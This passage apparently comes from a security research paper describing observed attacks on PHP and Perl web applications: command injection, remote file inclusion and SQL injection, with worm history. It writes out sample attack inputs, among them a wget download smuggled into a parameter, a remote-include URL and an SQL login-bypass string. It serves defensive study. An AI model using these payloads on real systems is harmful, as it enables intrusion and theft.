Web applications commonly face a unique set of vulnerabilities due to their access by browsers, their integration with databases, and the high exposure of related web servers. The modern web server setup commonly presents multiple applications running on one host and available via a single port, creating a large surface area for attack.
Code injection is one such attack, which exploits a web application's interface to the underlying operating system and results in the execution of arbitrary code. A simple example of a PHP code injection attack follows:
Directing a web browser to this application at the URL "application.php?name=Magoo" would result in the display of a webpage containing the word "Magoo". However, using the characters "Magoo; wget 184.108.40.206/toolkit.c" would execute two statements within the exec() function. The second statement is a malicious attempt to download a file to the victim host. A vulnerability similar to this was present in some versions of the Advanced Web Statistics (AWStats) script, a popular application used for summarizing information about visitors to a web site. This vulnerability has been widely abused by several worms, including Lupper. Note that AWStats is written in Perl so the problems we describe are by no means unique to PHP.
To quote from the iDEFENSE advisory :
"The problem specifically exists when the application is running as a CGI script on a web server. The "configdir" parameter contains unfiltered user-supplied data that is utilized in a call to the Perl routine open() as can be seen here on line 1082 of awstats.pl:
The "searchdir" variables hold the value of the parameter provided by the attacker from "configdir." An attacker can cause arbitrary commands to be executed by prefixing them with the "|" character."
In the case of the following attempted exploit:
we end up with:
which leads to the execution of the attacker's commands, because of the way perl's 'open()' function works. It seems as if the 'echo b_exp' at the start and a corresponding 'echo e_exp' at the end is intended to simplify parsing of the resulting web page, as in the this published exploit.
The PHPBB vulnerability that was exploited by the Santy worm was a problem of this type. PHPBB is a bulletin board written in PHP which allows users to post and reply to messages about various topics. A Google search for PHPBB reveals around 1.5 million sites at the time of writing. The Santy worm initially attempted to exploit the viewtopic.php vulnerability with a small test payload, simply printing out a particular piece of text. If the resulting web page contained the supplied text, the worm would launch its propagation code. (Eventually Google began to block Santy's queries.) The following is an example of an attack observed against PHPNuke which attempts to run the 'id' command. It is a maliciously crafted HTTP GET request:
The 'id' command identifies the current user and seems to be often used to test command injection issues, as the results of a successful test are easily identifiable. The vulnerability itself appears to be the phpBB Remote Command Execution (Viewtopic.php Highlight) issue which we discuss later. PHPNuke has included PHPBB for its forums "starting from somewhere around v. 6.5"
A remote code-inclusion attack works similarly; for example the following PHP code:
will include a PHP file into the currently executing script. Under certain circumstances, such as the configuration item register_globals being enabled, an attacker may be able to change the value of the variable $librarydir. (Register_globals means that PHP will automatically initialize variables from HTTP GET parameters without the programmer's intervention.) Some configurations of PHP allow the inclusion of code specified by a URL rather than a local file name. The attacker exploiting this vulnerability may attempt to set $librarydir to a value such as
"http://220.127.116.11/evilscript.php". If the attack is successful the attacker gains control of the web application.
Remote code-inclusion attacks have occurred in a wide variety of PHP applications, notably the Mambo CMS. Typically the attacker includes a script that attempts to execute a command such as one fetching further malware. These utility scripts are often quite full-featured and some have integration with databases and allow the invocation of shell commands, sending of email and viewing of files on
the web server. See Appendices A and B for more details related to this type of attack. The vulnerability classes - remote code-inclusion and command injection - should be considered serious as they have resulted in a number of high profile worms attacking the following software:
PHPBB, reported December 21, 2004, attacked by the Santy worm.
AWStats, PHPXMLRPC, WebHints reported November 7, 2005, attacked by the Lupper worm.
Mambo, reported December 6 2005, attacked by the Elxbot worm.
Mambo, PHPXMLRPC, reported February 20, 2006 and attacked by the Mare worm.
An example attack we observed against Mambo CMS is as follows. Again, it is simply a malicious HTTP GET request, exploiting the vulnerability described in Secunia Advisory #14337 :
This has the effect of executing the script of the attackers choosing, here 'http://192.168.57.112/~photo/cm' - the exact operation of the exploit against the vulnerability can be seen in 'Mambo Exploit' in Appendix A. In this case, the included file is a 'helper' script which attempts to execute the operating system command given by the 'cmd=' parameter. Here the commands given would cause the helper script to be written over the 'index.php' file and the details of the operating system and IP address to be sent to two email addresses. The attackers could then revisit the vulnerable systems at a later date.
An example of a particular helper script, the c99 shell is given in Appendix B, but such scripts typically allow the attacker to execute operating system commands and browse the file system on the web server. Some more advanced ones offer facilities for brute-forcing FTP passwords, updating themselves, connecting to databases, and initiating a connect-back shell session.
Another type of web application attack is SQL injection. Suppose a naively implemented login page searches for records in a database which match the given username and password, like this:
If the input is not validated correctly, it would be possible to set $username and $password to be "' OR '1'='1". The resulting SQL query would be:
This SQL query always returns a non-empty result, bypassing the login procedure and enabling the attacker to access the application. By successfully exploiting an SQL injection vulnerability the attacker can often gain superuser/admin access to the application or even the operating system.
The following is an attack we observed against PHPNuke:
which exploits the vulnerability detailed in Secunia advisory #14866 - the 'querylang' parameter is allows an SQL injection attack against the application. This is the original Waraxe advisory about the vulnerability. The following source code is the problem:
Because the application does not initialize the querylang parameter, an attacker can choose the value (providing register_globals is set in the PHP configuration, which used to be the default). The advisory gives the following example exploit:
and as result we can see md5 hashes of all the admin passwords in place, where normally top 10 votes can be seen :) The exploit will reveal the MD5 hashes of all the administrative users of PHPNuke. The value of seeing the MD5 hashes is being able to recover some passwords from them, as we explain below in the section "Top 10 Operating System commands issued".
A naive implementation of a bulletin board might store a user's comment in a database and write it straight back to other users who are viewing the thread. By posting something like